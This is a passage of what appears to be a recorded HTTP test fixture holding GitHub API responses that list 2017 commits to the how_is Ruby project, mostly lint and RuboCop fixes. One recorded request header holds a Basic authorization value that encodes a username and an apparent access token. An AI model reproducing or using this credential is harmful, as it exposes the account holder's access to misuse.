fix/rubocop-warns","tree":{"sha":"8e3d60d4460b510622168a2a658d5723038cc54b","url":"https://api.github.com/repos/how-is/how_is/git/trees/8e3d60d4460b510622168a2a658d5723038cc54b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/dd9f993d32863a10efcad8091fb31c730c0e06aa","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/dd9f993d32863a10efcad8091fb31c730c0e06aa","html_url":"https://github.com/how-is/how_is/commit/dd9f993d32863a10efcad8091fb31c730c0e06aa","comments_url":"https://api.github.com/repos/how-is/how_is/commits/dd9f993d32863a10efcad8091fb31c730c0e06aa/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"513d0082b1616f35517f0f56deb1aa976858e251","url":"https://api.github.com/repos/how-is/how_is/commits/513d0082b1616f35517f0f56deb1aa976858e251","html_url":"https://github.com/how-is/how_is/commit/513d0082b1616f35517f0f56deb1aa976858e251"},{"sha":"0022c30ee8f995d8ab55d5d6234ea37e840b53b0","url":"https://api.github.com/repos/how-is/how_is/commits/0022c30ee8f995d8ab55d5d6234ea37e840b53b0","html_url":"https://github.com/how-is/how_is/commit/0022c30ee8f995d8ab55d5d6234ea37e840b53b0"}]},{"sha":"0022c30ee8f995d8ab55d5d6234ea37e840b53b0","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDAyMmMzMGVlOGY5OTVkOGFiNTVkNWQ2MjM0ZWEzN2U4NDBiNTNiMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T15:02:09Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T15:02:09Z"},"message":"Merge pull request #175 from olleolleolle/patch-3\n\nInclude name of rules in RuboCop output","tree":{"sha":"1a6d5de8e2eac1d1be2faf15f3d607926e3aa479","url":"https://api.github.com/repos/how-is/how_is/git/trees/1a6d5de8e2eac1d1be2faf15f3d607926e3aa479"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0022c30ee8f995d8ab55d5d6234ea37e840b53b0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0022c30ee8f995d8ab55d5d6234ea37e840b53b0","html_url":"https://github.com/how-is/how_is/commit/0022c30ee8f995d8ab55d5d6234ea37e840b53b0","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0022c30ee8f995d8ab55d5d6234ea37e840b53b0/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"eb5d76b21d15a8f0f4e4a48b4559700019943568","url":"https://api.github.com/repos/how-is/how_is/commits/eb5d76b21d15a8f0f4e4a48b4559700019943568","html_url":"https://github.com/how-is/how_is/commit/eb5d76b21d15a8f0f4e4a48b4559700019943568"},{"sha":"73dc4d3a99b07582b976ccfc71ced31129e43955","url":"https://api.github.com/repos/how-is/how_is/commits/73dc4d3a99b07582b976ccfc71ced31129e43955","html_url":"https://github.com/how-is/how_is/commit/73dc4d3a99b07582b976ccfc71ced31129e43955"}]},{"sha":"513d0082b1616f35517f0f56deb1aa976858e251","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTEzZDAwODJiMTYxNmYzNTUxN2YwZjU2ZGViMWFhOTc2ODU4ZTI1MQ==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T14:38:22Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T14:38:22Z"},"message":"Avoid too long block","tree":{"sha":"75f650e05a1c1e44e3ee30c15ffc15ad8df9c341","url":"https://api.github.com/repos/how-is/how_is/git/trees/75f650e05a1c1e44e3ee30c15ffc15ad8df9c341"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/513d0082b1616f35517f0f56deb1aa976858e251","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/513d0082b1616f35517f0f56deb1aa976858e251","html_url":"https://github.com/how-is/how_is/commit/513d0082b1616f35517f0f56deb1aa976858e251","comments_url":"https://api.github.com/repos/how-is/how_is/commits/513d0082b1616f35517f0f56deb1aa976858e251/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"631cc5366b3b3ffa01add1779760c6e5acb614f0","url":"https://api.github.com/repos/how-is/how_is/commits/631cc5366b3b3ffa01add1779760c6e5acb614f0","html_url":"https://github.com/how-is/how_is/commit/631cc5366b3b3ffa01add1779760c6e5acb614f0"}]},{"sha":"631cc5366b3b3ffa01add1779760c6e5acb614f0","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjMxY2M1MzY2YjNiM2ZmYTAxYWRkMTc3OTc2MGM2ZTVhY2I2MTRmMA==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T14:31:42Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T14:31:42Z"},"message":"Linting","tree":{"sha":"c928c3474c7fc4d2ad7afa743fccf89fd4ada89a","url":"https://api.github.com/repos/how-is/how_is/git/trees/c928c3474c7fc4d2ad7afa743fccf89fd4ada89a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/631cc5366b3b3ffa01add1779760c6e5acb614f0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/631cc5366b3b3ffa01add1779760c6e5acb614f0","html_url":"https://github.com/how-is/how_is/commit/631cc5366b3b3ffa01add1779760c6e5acb614f0","comments_url":"https://api.github.com/repos/how-is/how_is/commits/631cc5366b3b3ffa01add1779760c6e5acb614f0/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"eb5d76b21d15a8f0f4e4a48b4559700019943568","url":"https://api.github.com/repos/how-is/how_is/commits/eb5d76b21d15a8f0f4e4a48b4559700019943568","html_url":"https://github.com/how-is/how_is/commit/eb5d76b21d15a8f0f4e4a48b4559700019943568"}]},{"sha":"117d54a5908e397d5dcc7a71960c357970febbbc","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTE3ZDU0YTU5MDhlMzk3ZDVkY2M3YTcxOTYwYzM1Nzk3MGZlYmJiYw==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T14:13:36Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T14:13:36Z"},"message":"Pulse: refactor to avoid RuboCop issues","tree":{"sha":"52d43860c6fcd9c976f761ccde333d3dc849fc28","url":"https://api.github.com/repos/how-is/how_is/git/trees/52d43860c6fcd9c976f761ccde333d3dc849fc28"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/117d54a5908e397d5dcc7a71960c357970febbbc","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/117d54a5908e397d5dcc7a71960c357970febbbc","html_url":"https://github.com/how-is/how_is/commit/117d54a5908e397d5dcc7a71960c357970febbbc","comments_url":"https://api.github.com/repos/how-is/how_is/commits/117d54a5908e397d5dcc7a71960c357970febbbc/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"abd524228a42a08041e53d7dc7495f48c23c3296","url":"https://api.github.com/repos/how-is/how_is/commits/abd524228a42a08041e53d7dc7495f48c23c3296","html_url":"https://github.com/how-is/how_is/commit/abd524228a42a08041e53d7dc7495f48c23c3296"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:33 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?page=2&per_page=30&since=2017-07-01&until=2017-08-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:34 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3402' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"4116e3bc39172673f9f479d2ad92ce83" Last-Modified: - Sun, 16 Jul 2017 11:37:39 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - F632:0809:1F8D00:42ECF5:5CC36AE1 body: encoding: ASCII-8BIT string: '[{"sha":"abd524228a42a08041e53d7dc7495f48c23c3296","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YWJkNTI0MjI4YTQyYTA4MDQxZTUzZDdkYzc0OTVmNDhjMjNjMzI5Ng==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T11:37:39Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T11:37:39Z"},"message":"Typo","tree":{"sha":"dcbf616cefca1ebed2cfeb72002ce89c3284b03c","url":"https://api.github.com/repos/how-is/how_is/git/trees/dcbf616cefca1ebed2cfeb72002ce89c3284b03c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/abd524228a42a08041e53d7dc7495f48c23c3296","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/abd524228a42a08041e53d7dc7495f48c23c3296","html_url":"https://github.com/how-is/how_is/commit/abd524228a42a08041e53d7dc7495f48c23c3296","comments_url":"https://api.github.com/repos/how-is/how_is/commits/abd524228a42a08041e53d7dc7495f48c23c3296/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"e9198ad7fbb7804f18ae0451820ecf43de376d9a","url":"https://api.github.com/repos/how-is/how_is/commits/e9198ad7fbb7804f18ae0451820ecf43de376d9a","html_url":"https://github.com/how-is/how_is/commit/e9198ad7fbb7804f18ae0451820ecf43de376d9a"}]},{"sha":"e9198ad7fbb7804f18ae0451820ecf43de376d9a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTkxOThhZDdmYmI3ODA0ZjE4YWUwNDUxODIwZWNmNDNkZTM3NmQ5YQ==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T11:33:03Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T11:33:03Z"},"message":"Lint to new option for FormatStringToken cop","tree":{"sha":"f2012ce4c169d55fd2fe6cf74c28a8b58106ad04","url":"https://api.github.com/repos/how-is/how_is/git/trees/f2012ce4c169d55fd2fe6cf74c28a8b58106ad04"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e9198ad7fbb7804f18ae0451820ecf43de376d9a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e9198ad7fbb7804f18ae0451820ecf43de376d9a","html_url":"https://github.com/how-is/how_is/commit/e9198ad7fbb7804f18ae0451820ecf43de376d9a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e9198ad7fbb7804f18ae0451820ecf43de376d9a/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"eb77eed8b22c4af909ded84c3fa0c0d12e04f32c","url":"https://api.github.com/repos/how-is/how_is/commits/eb77eed8b22c4af909ded84c3fa0c0d12e04f32c","html_url":"https://github.com/how-is/how_is/commit/eb77eed8b22c4af909ded84c3fa0c0d12e04f32c"}]},{"sha":"eb77eed8b22c4af909ded84c3fa0c0d12e04f32c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWI3N2VlZDhiMjJjNGFmOTA5ZGVkODRjM2ZhMGMwZDEyZTA0ZjMyYw==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T11:32:45Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T11:32:45Z"},"message":"RuboCop: FormatStringToken with EnforcedStyle: template","tree":{"sha":"7f83204a72fda5ff932fc716b36312e8f41aa0a2","url":"https://api.github.com/repos/how-is/how_is/git/trees/7f83204a72fda5ff932fc716b36312e8f41aa0a2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/eb77eed8b22c4af909ded84c3fa0c0d12e04f32c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/eb77eed8b22c4af909ded84c3fa0c0d12e04f32c","html_url":"https://github.com/how-is/how_is/commit/eb77eed8b22c4af909ded84c3fa0c0d12e04f32c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/eb77eed8b22c4af909ded84c3fa0c0d12e04f32c/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","url":"https://api.github.com/repos/how-is/how_is/commits/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","html_url":"https://github.com/how-is/how_is/commit/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5"}]},{"sha":"73dc4d3a99b07582b976ccfc71ced31129e43955","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzNkYzRkM2E5OWIwNzU4MmI5NzZjY2ZjNzFjZWQzMTEyOWU0Mzk1NQ==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T09:55:26Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T09:55:26Z"},"message":"Include name of rules in RuboCop output","tree":{"sha":"1a6d5de8e2eac1d1be2faf15f3d607926e3aa479","url":"https://api.github.com/repos/how-is/how_is/git/trees/1a6d5de8e2eac1d1be2faf15f3d607926e3aa479"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/73dc4d3a99b07582b976ccfc71ced31129e43955","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/73dc4d3a99b07582b976ccfc71ced31129e43955","html_url":"https://github.com/how-is/how_is/commit/73dc4d3a99b07582b976ccfc71ced31129e43955","comments_url":"https://api.github.com/repos/how-is/how_is/commits/73dc4d3a99b07582b976ccfc71ced31129e43955/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"eb5d76b21d15a8f0f4e4a48b4559700019943568","url":"https://api.github.com/repos/how-is/how_is/commits/eb5d76b21d15a8f0f4e4a48b4559700019943568","html_url":"https://github.com/how-is/how_is/commit/eb5d76b21d15a8f0f4e4a48b4559700019943568"}]},{"sha":"c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzQzYTcyYzVjM2ExYzY2ZDM1MDcwMTY1NTRmOGJkYjVjNTFlNmRlNQ==","commit":{"author":{"name":"Olle 